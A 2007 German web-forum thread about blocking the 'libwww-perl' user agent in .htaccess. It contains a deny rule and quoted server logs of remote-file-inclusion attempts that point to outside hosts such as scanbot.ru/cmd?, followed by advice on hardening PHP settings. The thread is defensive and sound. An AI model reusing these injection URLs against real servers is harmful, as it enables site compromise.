Fritz: .htaccess rewrite condition

Hallo,

User Agents der Form libwww-perl/... spidern auf meinen Seiten recht fleissig, und ich fürchte, dass sie noch mehr als das tun, und nicht nur Gutes ;-)

Ich hab' sie deshalb in der .htaccess so ausgesperrt:
RewriteCond %{HTTP_USER_AGENT} ^.*libwww-perl.*$ [OR]
... usw.

Nun bin ich drauf gestoßen, dass auch der W3C Link Checker mit diesem user agent kommt:
W3C-checklink/4.3 [4.42] libwww-perl/5.805

und damit von meiner obigen Regel ebenfalls ausgesperrt wird.

Nun hätte ich gerne den W3C Linkchecker gerne zugelassen.
Leider reichen meine Kenntnisse in regex bzw. mod_rewrite dazu nicht aus.

Wär nett, wenn mir jemand helfen könnte, mein Vorhaben zu realisieren.

Gruß Fritz

--
ie:( fl:( br:? va:) ls:< fo:| rl:? ss:{ de:> js:| mo:} zu:}
http://webdesign.weisshart.de/
  1. Moin!

    User Agents der Form libwww-perl/... spidern auf meinen Seiten recht fleissig, und ich fürchte, dass sie noch mehr als das tun, und nicht nur Gutes ;-)

    Was sie tun, siehst du im Logfile.

    Es ist ein Leichtes für Spider mit bösen Absichten, sich einen User-Agent-String eines existierenden Browsers zuzulegen, um damit Sperrungen nach deinem Strickmuster zu umgehen.

    Nun hätte ich gerne den W3C Linkchecker gerne zugelassen.
    Leider reichen meine Kenntnisse in regex bzw. mod_rewrite dazu nicht aus.

    Dann entferne diese IMHO unsinnige Regel wieder.

    - Sven Rautenberg

    --
    "Love your nation - respect the others."
    1. Hallo,

      Was sie tun, siehst du im Logfile.

      Ja, z.B. das:
      87.119.200.212 - - [06/Dec/2007:01:06:59 +0100] "GET //forum.php?seite=http://www.dip-kostroma.ru/bak_skompa/themes/runcms/menu/images/.asc/www????????????????????????????? HTTP/1.1" 404 763 "-" "libwww-perl/5.803" 244 1023

      Und das oder ähnliches mehrmals pro Minute.

      Gruß Fritz

      --
      ie:( fl:( br:? va:) ls:< fo:| rl:? ss:{ de:> js:| mo:} zu:}
      http://webdesign.weisshart.de/
      1. Moin!

        Was sie tun, siehst du im Logfile.

        Ja, z.B. das:
        87.119.200.212 - - [06/Dec/2007:01:06:59 +0100] "GET //forum.php?seite=http://www.dip-kostroma.ru/bak_skompa/themes/runcms/menu/images/.asc/www????????????????????????????? HTTP/1.1" 404 763 "-" "libwww-perl/5.803" 244 1023

        Und das oder ähnliches mehrmals pro Minute.

        Daran ändert ja deine Rewrite-Rule nichts, der Request kommt so oder so. Der Server muß damit nur sinnvoll umgehen. 404 ist eine sehr vernünftige Antwort, wie ich finde.

        - Sven Rautenberg

        --
        "Love your nation - respect the others."
        1. Hallo,

          ...der Request kommt so oder so. Der Server muß damit nur sinnvoll umgehen. 404 ist eine sehr vernünftige Antwort, wie ich finde.

          wenn sie denn kommt.

          Wenn es aber so ausieht:
          80.249.5.226 - - [03/Dec/2007:10:47:58 +0100] "GET /index.php?go=http://scanbot.ru/cmd? HTTP/1.1" 200 21948 "-" "libwww-perl/5.808" 161 22492

          dann ist mir dabei nicht so wohl.

          _Wenn_ ich mir einmal sicher bin, dass _alle_ Scripts auf dem Server (Foren, CMSe usw.) gegen so etwas immun sind, dann ja.

          Aber bis dahin fühle ich mich wohler, explizit per RewriteRule .* - [F,L] einen 403 zu schicken.

          Oder sollte ich etwas falsch verstanden haben.

          Gruß Fritz

          --
          ie:( fl:( br:? va:) ls:< fo:| rl:? ss:{ de:> js:| mo:} zu:}
          http://webdesign.weisshart.de/
          1. Moin!

            ...der Request kommt so oder so. Der Server muß damit nur sinnvoll umgehen. 404 ist eine sehr vernünftige Antwort, wie ich finde.

            wenn sie denn kommt.

            Wenn es aber so ausieht:
            80.249.5.226 - - [03/Dec/2007:10:47:58 +0100] "GET /index.php?go=http://scanbot.ru/cmd? HTTP/1.1" 200 21948 "-" "libwww-perl/5.808" 161 22492

            dann ist mir dabei nicht so wohl.

            Ok, aber deine Reaktion auf sowas ist doch eher unzureichend. Du stellst fest, dass da jemand einen Request mit URL als Parameter sendet, und deine Antwort ist, auf den User-Agent zu reagieren und basierend DARAUF den Zugriff zu verbieten.

            Klingt so ähnlich, als ob dir jemand einen bösen Schimpfnamen gibt, und du nur dann beleidigt bist, wenn dir dessen Zipfelmütze nicht gefällt - anstatt auf die Beleidigung zu reagieren.

            _Wenn_ ich mir einmal sicher bin, dass _alle_ Scripts auf dem Server (Foren, CMSe usw.) gegen so etwas immun sind, dann ja.

            Wie willst du beim Einsatz von Software, der du nicht vertraust, unbekannte Sicherheitslücken abfangen? Schaffe dir Software an, der du vertrauen kannst. Oder die in einer Umgebung läuft, die derartige Angriffe nicht zuläßt.

            Aber bis dahin fühle ich mich wohler, explizit per RewriteRule .* - [F,L] einen 403 zu schicken.

            Oder sollte ich etwas falsch verstanden haben.

            Dein Filteransatz ist halt sehr merkwürdig. Wenn gültige URLs auf deinem Server niemals eine URL im Querystring haben können, sollte exakt DIES das Filterkriterium sein, nicht irgendein frei wählbarer User-Agent-String.

            Wobei ich überdies bezweifle, dass PHP solche Hilfestellung benötigt - mit dem Abstellen der typischen Einfallstore für Include-Attacken (register_globals, allow_url_fopen, allow_url_include [seit PHP 5.2.0]) hat man absolut ausreichende Maßnahmen getroffen.

            - Sven Rautenberg

            --
            "Love your nation - respect the others."
            1. Hallo,

              Wie willst du beim Einsatz von Software, der du nicht vertraust, unbekannte Sicherheitslücken abfangen?

              Spätestens, wenn ich selbst Hand angelegt habe, ist es mit dem Vertrauen nicht mehr so gut bestellt *grins*

              Dein Filteransatz ist halt sehr merkwürdig. Wenn gültige URLs auf deinem Server niemals eine URL im Querystring haben können, sollte exakt DIES das Filterkriterium sein, nicht irgendein frei wählbarer User-Agent-String.

              Wo du recht hast, hast du recht ;-)
              Mal sehen, ob ich das hinkriege.

              mit dem Abstellen der typischen Einfallstore für Include-Attacken (register_globals, allow_url_fopen, allow_url_include [seit PHP 5.2.0]) hat man absolut ausreichende Maßnahmen getroffen.

              Das klingt ja schon mal beruhigend.

              PS:
              Weil ich dennoch weiterhin einen Blick in meine Serverlogs werfen werde, und das "Lesen" derselben mit Wordpad nicht sehr ergiebig ist, und das Einlesen in Excel recht mühsam, eine Frage:
              Ich suche ein Tool zum Auswerten der Logs nach frei wählbaren Kriterien. Also _nicht_ den Webalizer.

              Gruß Fritz

              --
              ie:( fl:( br:? va:) ls:< fo:| rl:? ss:{ de:> js:| mo:} zu:}
              http://webdesign.weisshart.de/
              1. Moin!

                Weil ich dennoch weiterhin einen Blick in meine Serverlogs werfen werde, und das "Lesen" derselben mit Wordpad nicht sehr ergiebig ist, und das Einlesen in Excel recht mühsam, eine Frage:
                Ich suche ein Tool zum Auswerten der Logs nach frei wählbaren Kriterien. Also _nicht_ den Webalizer.

                Webalizer bietet dir eine verhältnismäßig schnelle Logauswertung - und mit der passenden Konfiguration liefert er dir eigentlich auch alle spannenden Details. Abgesehen davon besteht natürlich auch noch die Möglichkeit, den Input in Webalizer zu filtern.

                - Sven Rautenberg

                --
                "Love your nation - respect the others."
      2. hi $name,

        Hallo,

        Was sie tun, siehst du im Logfile.

        Ja, z.B. das:
        87.119.200.212 - - [06/Dec/2007:01:06:59 +0100] "GET //forum.php?seite=http://www.dip-kostroma.ru/bak_skompa/themes/runcms/menu/images/.asc/www????????????????????????????? HTTP/1.1" 404 763 "-" "libwww-perl/5.803" 244 1023

        Und das oder ähnliches mehrmals pro Minute.

        hoffentlich kommen sie nicht damit durch.
        http://en.wikipedia.org/wiki/Remote_File_Inclusion

        prüf mal nach ob es eine bekannte sicherheitslücke in deiner forensoftware gibt und ganz wichtig: ob du dateien auf deinem server hast die da nicht hingehören, etc. ach überprüf die ganze kiste, glaub mir ist besser....

        gruss
        shadow

        --
        If there's anything more important than my ego around, I want it caught and shot, now.
        1. Hallo,

          hoffentlich kommen sie nicht damit durch.
          http://en.wikipedia.org/wiki/Remote_File_Inclusion

          Das will ich nicht hoffen.
          register_globals Off
          allow_url_include Off

          ach überprüf die ganze kiste, glaub mir ist besser....

          hm?
          z.B. anhand der Serverlogs?
          genau das hat mich ja zu meiner rewrite rule laut Ausgangsposting bewogen.

          Gruß Fritz

          --
          ie:( fl:( br:? va:) ls:< fo:| rl:? ss:{ de:> js:| mo:} zu:}
          http://webdesign.weisshart.de/